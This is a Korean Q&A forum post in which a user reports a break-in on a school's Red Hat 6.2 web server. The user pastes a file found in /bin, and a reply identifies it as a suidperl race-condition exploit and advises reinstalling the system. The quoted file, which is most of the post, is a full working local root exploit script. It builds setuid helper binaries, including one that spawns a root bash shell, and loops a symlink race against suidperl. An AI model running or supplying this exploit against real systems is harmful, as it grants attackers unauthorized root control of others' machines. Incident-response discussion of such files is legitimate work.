적수네 동네 - 질문과 답변 [ 게시물 수정 ]

	>> Edit article


			이름
			제목
			패스워드

Perl의 버그를 이용해서 루트권한을 따는 공격도구입니다.
레이스컨디션을 이용하는 넘이구요....
 업데이트되지 않는 레드헷의 suidperl은 그냥 이넘 죽 긁어다가 붙이구
실행하면 루트쉘 떨어집니다.
 지우구, 시스템 갈아엎으세요...
 : 도대체 이게 뭘까요?
: 학교 웹서버에 언 넘이 들어온것 같은데....
: 로그파일도 거의 다지워지고
: 모르는 계정도 하나 생기고...
: ftp나 telnet도 잘 안되고.. 
: telnet에서 su가 안 먹힙니다. 자꾸 incorrect passwd라고만 나오네요.
: 
: /bin 에 check란 이름으로 들어있는 넘인데....
: 예전에는 없었습니다.  영 찜찜해서리..
: 아흐 머리아퍼...
: 서버는 레드햇 6.2입니다. 이참에 서버를 갈아엎어버려?
: ------------------------------------------------------------------------
: # Redhat 6.2 / 6.1 / 6.0 / 5.2
: 
: clear
: 
: echo "Suidperl 5.00503 (and newer) root exploit"
: echo "-----------------------------------------"
: echo "Written by Michal Zalewski <lcamtuf@dione.ids.pl>"
: echo "With great respect to Sebastian Krahmer..."
: echo
: 
: SUIDPERL=/usr/bin/suidperl
: SUIDBIN=/usr/bin/passwd
: 
: echo "[*] Using suidperl=$SUIDPERL, suidbin=$SUIDBIN..."
: 
: if [ ! -u $SUIDPERL ]; then
:   echo "[-] Sorry, $SUIDPERL4 is NOT setuid on this system or"
:   echo "    does not exist at all. If there&#039;s +s perl binary available,"
:   echo "    please change SUIDPERL variable within exploit code."
:   echo
:   exit 0
: fi
: 
: 
: if [ ! -u $SUIDBIN ]; then
:   echo "[-] Sorry, $SUIDBIN is NOT setuid on this system or does not exist at"
:   echo "    all. Please pick any other +s binary and change SUIDBIN variable"
:   echo "    within exploit code."
:   echo
:   exit 0
: fi
: 
: echo "[+] Checks passed, compiling flares and helper applications..."
: echo
: 
: cat >flare <<__eof__
: #!/usr/bin/suidperl
: 
: print "Nothing can stop me now...";
: 
: __eof__
: 
: cat >bighole.c <<__eof__
: main() {
:   setuid(0);
:   setgid(0);
:   chown("sush",0,0);
: __eof__
: 
: cat >sush.c <<__eof__
: main() {
:   setuid(0);
:   setgid(0);
:   system("/bin/bash");
: }
: __eof__
: 
: make bighole sush
: 
: echo
: 
: if [ ! -x ./sush ]; then
:   echo "[-] Oops, seems to me I cannot compile helper applications. Either"
:   echo "    you don&#039;t have working &#039;make&#039; or &#039;gcc&#039; utility. If possible,"
:   echo "    please compile bighole.c and sush.c manually (to bighole and sush)."
:   echo
:   exit 0
: fi
: 
: echo "[+] Setting up environment..."
: 
: chmod 4755 ./flare
: 
: FILENAME=&#039;none
: 
: ~!bighole
: 
: &#039;
: export interactive=1
: PATH=.:$PATH
: 
: echo "[+] Starting exploit. It could take up to 5 minutes in order to get"
: echo "[+] working root shell. WARNING - WARNING - WARNING: it could cause"
: echo "[+] heavy system load."
: 
: while :; do
:   ( ln -f -s $SUIDBIN "$FILENAME";usleep $RANDOM; nice -n +20 $SUIDPERL ./"$FILENAME" <./flare & ) &>/dev/null
: &
:   ( usleep $RANDOM ; ln -f -s /dev/stdin "$FILENAME" ) &>/dev/null &
:   if [ -u ./sush ]; then
:     echo
:     echo "[+] VOILA, BABE :-) Entering rootshell..."
:     echo
:     rm -f "$FILENAME" sush.c bighole bighole.c flare
:     ./sush
:     echo
:     echo "[+] Thank you for using Marchew Industries / dupa.ryba products."
:     echo
:     rm -f "$FILENAME" sush.c bighole bighole.c flare sush
:     exit 0
:   fi
: done
: 
: --
: 죽것당... 뭘 알아야지...--Mail : iostream1111 at yahoo.com
WWW : khpark.com
ftp movie@khpark.com